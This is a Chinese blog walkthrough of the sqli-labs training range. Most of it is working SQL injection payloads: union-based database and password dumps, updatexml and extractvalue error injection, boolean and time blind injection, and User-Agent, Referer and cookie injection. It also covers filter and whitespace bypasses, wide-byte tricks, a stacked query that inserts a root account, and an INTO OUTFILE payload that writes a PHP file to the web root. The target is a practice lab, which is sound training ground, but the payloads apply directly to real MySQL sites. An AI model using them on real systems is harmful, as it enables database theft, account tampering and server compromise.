首页 > 数据库 >靶场打靶系列 --- sqli-labs大全

靶场打靶系列 --- sqli-labs大全

时间:2024-10-11 17:32:46浏览次数:1  
标签:--- database 0x7e 打靶 labs concat --+ id select

前提条件

1.输入的数据作为sql语句执行了

2.输入没有安全过滤

3.sql语句根据输入拼接而成的

4.在页面中有注入的输出点

 

我先介绍注入的大致思路

0.判断网页逻辑。是否有sql报错,是否有注出点。

1.判断注入点。发送特殊符号触发sql报错得知注入点,有 ’ 、“、) 、无闭合符号。缺点是如果没有返回错误信息可能会有遗漏。对于没有报错提示的情况,我们需要带入语句中,比如我们推测原sql的闭合方式是无闭合,那么数据类型就是整数,那么 -1 union select 1,2,database() --+,如果闭合就会返回数据,没有闭合就什么也没有。注意一定要知道闭合方式才能进行下一步。

2.判断闭合方式。转义符\触发报错,还可以使用 ’ -- 、“ --、)-- 或者他们的组合 ’) -- 来闭合sql语句。

3.判断数据库类型和编码和坏字符。mysql、oracle。。。

4.判断sql的语句中的列数。1' order by 3 -- ,依据第三列排序,如果没有第三列就报错。我们假设有三列

5.判断注出点。-1‘ union select 1,2,3 --,-1表示没有这行,导致1,2,3插入表中,最终查看输出到页面是一列。

4.脱裤。爆库,表,列,数据

爆库  -1’ union select 1,database(),3 --,我们假设2号是注出点

爆表  -1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- ,group_concat是拼接函数,information_schema是元数据库

爆列  -1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema =database() AND table_name='users' --

爆数据 -1' UNION SELECT 1,group_concat(username),group_concat(password) FROM users --,注意这里为什么我们没有指定数据库,因为该语句默认已经使用了该数据库

 

注意点:

浏览器对空格和#号有特殊含义,要转码,空格用+,#用%23,或者使用专业发包工具,比如hackbar,burpsuite

中文逗号与英文不一样,不能带入执行

 ?id=1是url中提交的参数

 

 

 

 

 

 

常规操作

?id=1' and 1=2 union select 1,2,3 --+
1、数据库
?id=-1' union select 1,2,database() --+
2、表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
3、列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
4、用户名
?id=-1' union select 1,2,group_concat(username) from users--+
5、密码
?id=-1' union select 1,2,group_concat(password) from users--+

 

 

 

1、数据库
login_user=admin&login_password=admin'and updatexml(1,concat(0x3a,(select database()),0x3a),1)#&mysubmit=Login
2、表名
login_user=admin&login_password=admin'and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x3a),1) #&mysubmit=Login
3、列名
login_user=admin&login_password=admin'and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a),1) #&mysubmit=Login
4、用户名
login_user=admin&login_password=admin'and updatexml(1,concat(0x3a,(select concat(username)from users limit 0,1),0x3a),1) #&mysubmit=Login
5、密码
login_user=admin&login_password=admin'and updatexml(1,concat(0x3a,(select concat(password)from users limit 0,1),0x3a),1) #&mysubmit=Login

 

 

 

sqli labs总共有1-75关,65关之后没有页面。且大部分关卡重复

第一关,报错注入之单引号闭合

1.根据提示url后输入 ?id=1'

 

2.报错  ''1'' LIMIT 0,1',我们去掉外边的引号 '1'' LIMIT 0,1,观察发现我们输入的是1',因此闭合方式是’

 

3.报错提示使用的是 mysql

 

4.1' order by 3 --+ 正确,1' order by 4 --+报错,因此有3列

 

5.-1‘ union select 1,2,3 --

返回

Welcome    Dhakkan
Your Login name:2
Your Password:3

因此2,3是注出点

 

6.

-1’ union select 1,database(),3 --+

返回

Welcome    Dhakkan
Your Login name:security
Your Password:3

因此数据库名是security

或者

-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata --+

Welcome    Dhakkan
Your Login name:information_schema,challenges,marryii,mysql,performance_schema,security,sys
Your Password:3

-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

或者

-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

注意'security'一定要加上引号否则不能执行

返回

Welcome    Dhakkan
Your Login name:emails,referers,uagents,users
Your Password:3

因此表有emails,referers,uagents,users

-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema =database() AND table_name='users' --

返回

Welcome    Dhakkan
Your Login name:2
Your Password:id,username,password

因此字段有id,username,password

 -1' UNION SELECT 1,group_concat(username),group_concat(password) FROM users --+

返回 

Welcome    Dhakkan
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

因此对应的用户名密码是Dumb:Dumb。。。

或者

-1") union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+ 

 

 第二关,报错注入之无闭合

?id=1\,得知是纯数字

其它与第一关相同

 

第三关,报错注入之’)组合闭合

?id=1\,得知是‘)闭合

其它与第一关相同

 

第四关,报错注入之”)组合闭合

?id=1\,得知是“)闭合

其它与第一关相同

 

第五关,报错注入之xpath单引号

这关有报错但是没有输出,我们无法直接得知数据

报错注入

?id=1\ 得知’

?id=1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

?id=2' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

或者 ?id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+

 

第六关,报错注入

?id=1\ 得知”

?id=1" union select 1,2,updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

?id=1" union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

?id=1"union select 1,2,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema ='security' limit 0,1),0x7e),1) --+

?id=1" union select 1,2,updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+

?id=1" union select 1,2,updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+

缺点是数据不全面

 

 第七关  基于文件写入注入

前提条件

1.mysql配置文件中要允许写出文件,默认不允许。

查看配置文件

show variables like '%secure%';

  • secure_file_priv的值为null ,不允许导入|导出
  • secure_file_priv的值为/tmp/ ,只能在/tmp/目录下导入|导出
  • secure_file_priv的值没有具体值时,任意位置导入|导出

修改配置文件

因为我使用的是phpstudy,默认安装路径在(具体看你的mysql安装路径在哪里)

D:\phpstudy_pro\Extensions\MySQL5.7.26

找到my.ini(如果不存在my.ini则创建,并保存为ansi格式),在[mysqld]下,新增secure_file_priv=""。(如果存在就修改)

重启MySQL

查看配置文件

show variables like '%secure%';

 

参考配置

[mysqld]
# 设置3306端口
port=3306
# 设置mysql的安装目录
basedir=E:\Program Files\mysql-8.0.24-winx64
# 设置mysql数据库的数据的存放目录,在安装mysql-5.7.30-winx64.zip版本的时候,此配置不可添加,否则mysql将无法启动。
# datadir=E:\Program Files\mysql-8.0.24-winx64\data
# 允许最大连接数
max_connections=200
# 允许连接失败的次数。这是为了防止有人从该主机试图攻击数据库系统
max_connect_errors=10
# 服务端使用的字符集默认为UTF8
character-set-server=utf8
# 创建新表时将使用的默认存储引擎
default-storage-engine=INNODB
# 默认使用“mysql_native_password”插件认证
default_authentication_plugin=mysql_native_password
# 关闭ssl
skip_ssl
# 配置时区
default-time_zone='+8:00'
# 文件权限
secure_file_priv=""
[mysql]
# 设置mysql客户端默认字符集
default-character-set=utf8
[client]
# 设置mysql客户端连接服务端时默认使用的端口
port=3306
default-character-set=utf8

  

2.写出时要注意路径问题。我们要知道当前路径在哪里,其次依据之前的配置决定能写出到哪里。且只能写文件不能创建目录。

当前网站工作路径在哪里

我们在第一步权限最大因此可以写入任意目录中

 

 

 

开始注入

0.首先没有具体的报错且注出点只有成功与否,正常运行提示 Use outfile...... 所以理解为写入mm文件执行

1.输入单引号,会显示报错。确定注入点。

2.通过多次尝试发现闭合')) --+,通过查看源代码,再次确定闭合成功

3.mysql

4.1' order by 3 --+ 与1' order by 4 --+测试出三列

5.依据outfile提示注出点是文件,在本关我们无法得知输出文件路径位置,我们利用第一关注入路径,

?id=-1' union select 1,@@datadir,3 --+

返回

Your Login name:D:\phpstudy_pro\Extensions\MySQL5.7.26\data\

但是我们无法通过网页查看该目录,应此还要获取到web的工作目录,这里我没有办法获取,只能靠猜测法

这里是我搭建的web目录,因此目录是E:\\sqli-labs-master\\sqli-labs\\

6.

爆库

?id=-1')) UNION SELECT 1,database(),3 into outfile "E:\\sqli-labs-master\\sqli-labs\\table.txt" %23

查看

http://127.0.0.1:8888/table.txt,这里的地址和端口要改成你自己的

爆表

?id=-1')) UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() into outfile "E:\\sqli-labs-master\\sqli-labs\\table.txt" %23

。。。

爆列

。。。

爆数据

。。。

 

 

这里我们也可以写入php文件

?id=-1')) UNION SELECT 1,'<?php phpinfo();?>',3 into outfile "E:\\sqli-labs-master\\sqli-labs\\phpinfo2.php" %23

 

 

 第八关 布尔型盲注之单引号闭合

我们观察发现没有报错,只有正确与否,符合布尔盲注的条件

这里我们是用二分法

?id=1' and if(substr(database(),1,1)>'m',1,sleep(5)) --+

 如果我们发现You are in..........,代表注入正确,如果睡了5s表示错误

?id=1' and if(substr(database(),1,1)>'u',1,sleep(5)) --+

一直找到正确的为止

 

  第九关 时间盲注之单引号闭合

 我们观察发现没有报错,只有正确,符合时间盲注的条件

 1' and if(1=1,sleep(5),1) --+ 

 

 

第十关 时间盲注之双引号闭合

 http://127.0.0.1/sqlilabs2/Less-10/index.php?id=1" and if((length(database())=8),sleep(5),1)--+

 

第十一关 报错注入之POST单引号闭合

 在输入框中输入

\发现报错且闭合是’

其他类似第一关

 -1' union select group_concat(username,password),2 from users#

 

第十二关 报错注入之POST混合闭合

 ")闭合

 

第十三关 报错注入之POST单引号闭合双注入变形

') and (updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)) -- 

 注意最后有空格哦

 

 

第十四关 报错注入之POST双引号闭合双注入变形

 

 

 

第十五关 布尔型时间盲注之POST单引号闭合

‘ or 1=1 -- 

-1' or sleep(10)#

 

 


第十六关 布尔型时间盲注之POST双引号闭合

 

第十八关 报错注入之Uagent注入

  1. 通过单引号闭合进行payload构造

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and '1' = '1

  1. 直接构造报错注入的payload

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1

 

第十九关 Referer注入

第二十关 Cookie注入

Cookie: uname=admin' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1

第二十一关 base64编码Cookie注入

uname=YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpKSBhbmQgJzEnID0gJzE%3d

第二十二关 base64编码双引号Cookie注入

第二十三关 过滤注释

?id=-1' union select 1,(select group_concat(username,password ) from users),3 and '1' = '1

 

 

第二十五关 过滤OR及AND

?id=1' || extractvalue(null,concat(0x7e,database(),0x7e))%23

?id=1' oorr extractvalue(null,concat(0x7e,database(),0x7e))%23

?id=1' o/**/r extractvalue(null,concat(0x7e,database(),0x7e))%23

 

第二十五a关 过滤OR及AND

?id=-1 union select 1,(select group_concat(username,passwoorrd) from users) ,3--+

 

 

第二十六关 过滤空格及注释

?id=1'%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,'~',passwoorrd))from(security.users)),0x7e))%7c%7c'1

 

第二十六a关 基于GET错误-你的空格和注释归我所有-字符型-括号

?id=1111')union%A0select(1),(select(group_concat(id,'~',username,'~',passwoorrd))from(security.users)),3%7c%7c('1

 

第二十七关 基于GET错误-你的UNION和SELECT归我所有

?id=1'%09and%09updatexml(1,concat(0x7e,(SeleCt(group_concat(username,password))from(users)),0x7e),1)and'1

 

第二十七a关 基于GET错误-你的UNION和SELECT归我所有-双引号

?id=1"%09and%091=2%09%09uniunionon%09SElselectect%091,(SElect(group_concat(username,password))from(users)),3%09or%09"1

 

第二十八关 基于GET错误-你的UNION和SELECT归我所有-字符型单引号和括号

?id=1')%0aand%0a1=2%0aunion%0aall%0aselect%0a1,database(),3%0aor ('1

 

 

第二十八a关 过滤UNION和SELECT

all绕过

-1') union all select 1,2,3 --+

 

 

 

第二十九关 隐藏关卡和参数污染

不是index.php

login.php?id=2&id=-1' union select 1,2,database() --+

 

 

第三十关 双引号闭合

login.php?id=2&id=-1" union select 1,2,database() --+

 

 

第三十一关 混合闭合

login.php?id=2&id=-1" )union select 1,2,database() --+

 

 

第三十二关 宽字节注入

?id=-1%df' union select 1,2,database() --+

 

第三十三关  get方式宽字节注入

同上

 

第三十四关  post方式宽字节注入

uname=admin%df' order by 2 #&passwd=admin&submit=Submit

 

第三十五关 数值型注入

?id=-1 union select 1,2,database() --+

 

第三十六关 宽字节注入

?id=-1%df' union select 1,2,database() --+

 

第三十七关 宽字节post注入

uname=admin%df' union select 1,database() #&passwd=admin&submit=Submit

 

 

 

第三阶段(Stacked Injections)

less-38 堆叠注入和单引号闭合

类似于union但是union只能查询,堆叠可以执行增删改查

?id=1'; insert into users values(100,'root','123456')%23

此时数据库中已经有了root帐号

 

 

第三十九关 无闭合

第四十关 混合闭合

第四十一关 无报错

第四十二关 无闭合

 

第三十九关 无闭合

 

第三十九关 无闭合

第三十九关 无闭合

 

 

 

第三十九关 无闭合

 

 

第三十九关 无闭合

 

第三十九关 无闭合

 

 

第四阶段 挑战

数据库:challenges 表名,列名等一直是变化的。

 

第五十四关 无报错有输出单引号闭合

第五十五关 无报错有输出括号闭合

第五十六关 无报错有输出混合闭合

第五十七关 无报错有输出双引号闭合

 

less-58 xpath报错注入

1、数据库
index.php?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
2、表名
index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+
3、字段名
index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='da07fswbjk'),0x7e)) --+
4、secret_T8GZ
index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(secret_T8GZ) from da07fswbjk),0x7e)) --+

 

less-59 xpath报错注入之无闭合

index.php?id=1 and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+

 

less-60 xpath报错注入之混合闭合

index.php?id=1") and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+

 

less-61 xpath报错注入之混合闭合

 index.php?id=1')) and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+

 

 

less-62 布尔盲注

1、数据库长度
index.php?id=1') and length(database())=10 --+
2、 数据库名称
index.php?id=1') and ascii(substr(database(),1,1))=99 --+
3、表的个数
index.php?id=1') and (select count(table_name) from information_schema.tables where table_schema=database())=1
--+
4、表的长度
index.php?id=1') and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5--+

 

第六十三关 布尔盲注之单引号闭合

index.php?id=1' and length(database())=10 --+

第六十四关 布尔盲注之混合闭合

index.php?id=1)) and length(database())=10 --+

第六十五关 布尔时间盲注之混合闭合

判断闭合方式

index.php?id=1") and sleep(5) --+

判断长度

index.php?id=1") and length(database())=10 --+

判断字符

index.php?id=1")and%20if(substr(database(),1,1)<%27m%27,sleep(5),1)--+

 

第六十六关到七十五官方没有放出

 

标签:---,database,0x7e,打靶,labs,concat,--+,id,select
From: https://www.cnblogs.com/GKLBB/p/16341280.html

相关文章

  • C# 线程---Thread1
     1.thread不带参数(Main和Thread都在同步处理)(注意usingstatic和System.Console的使用)usingstaticSystem.Console;namespaceRecipe1{classProgram{staticvoidMain(string[]args){Threadt=newThread(PrintNumber);......
  • 20222307 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.实验内容1.1本周学习内容进程内存管理在Linux系统中,当OS可执行程序被加载到内存后,其内存布局主要包括三个关键段:*.text段:包含程序的指令,这些指令是只读的,用于指导CPU执行操作。*.data段:存储静态初始化数据,这些数据是可写的,程序在运行时可以直接访问和修改。*.bss段:用......
  • (29-6-02)通过回测、ARIMA 和 GRU 预测股票价格:深度学习模型预测(2)
    29.8.4 训练和测试数据集的划分训练和测试数据集的划分是机器学习中评估模型在未见数据上的表现的重要过程。通过将数据集分成两个部分:训练集用于训练模型,测试集用于评估模型的性能,我们可以更好地了解模型对新数据的泛化能力。这一过程可以帮助我们避免过拟合,即模型在训练......
  • Redis-02 数据持久化
    redis持久化即将数据从内存写入磁盘,Redis提供了两种持久化的方式:RDB和AOF。1.RDBRDB持久化:Redis可以将内存中的数据定期快照保存到磁盘上的一个二进制文件中。RDB持久化是一种比较紧凑的文件格式,适用于备份和灾难恢复。通过配置Redis的持久化策略,可以设置Redis定期保存快......
  • 华为交换机配置-端口隔离
    端口隔离(port-isolate)1.端口隔离配置端口隔离功能,可实现本台交换机的两个接口之间的二层数据的隔离,而三层数据互通拓扑图<sw1>sys//配置全局端口隔离模式为二层隔离(l2)、三层隔离(l3)[sw1]port-isolatemodel2[sw1]interfaceGigabitEthernet0/0/1//将端口1加入端口隔离组......
  • 20222418 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.实验内容本周课程内容为缓冲区溢出和shellcode:2.实验过程(1)直接修改程序机器指令,改变程序执行流程①首先根据网上教程安装好kali虚拟机,更改主机名为heshan;下载目标文件pwn1,将pwn1文件放入共享文件夹并在VMware中设置共享以便使用,并将其重命名为pwn20222418。②然后运行可......
  • WPF 动画-VisualStateManager
    动画状态-VisualStateManagerVisualStateManager控件可以通过VisualState来定义控件的不同动画状态,然后在C#代码中合适地方,使用VisusalStateManager.GoToState()或VisualStateManager.GoToElementState()方法来切换到对应的状态,从而实现样式的切换。一、用法介绍1、关键成员......
  • Scikit-Learn验证曲线
    多项式特征管道命令fromsklearn.preprocessingimportPolynomialFeaturesfromsklearn.linear_modelimportLinearRegressionfromsklearn.pipelineimportmake_pipelinedefPolynomialRegression(degree=2,**kwargs):returnmake_pipeline(PolynomialFeatures(degree)......
  • 0元购-初体验
    闲来无事想着验证一下支付逻辑漏洞的方法,网上教程一大堆,但是没实践成功,总不确定是不是真正有用的知识。通常支付逻辑漏洞测试方法概况如下:1、直接修改商品的价格2、修改支付状态3、修改商品数量4、重复支付5、越权支付6、线程并发问题随手找一个资产(这次真的随便搜了......
  • React如何进行性能优化-方式、原理、示例
    目录一、使用shouldComponentUpdate和React.memo1.使用shouldComponentUpdate(类组件)2.使用React.memo(函数组件)二、使用useMemo三、懒加载四、避免使用匿名函数五、避免使用内联对象六、列表使用key属性一、使用shouldComponentUpdate和React.memo1.使用shouldC......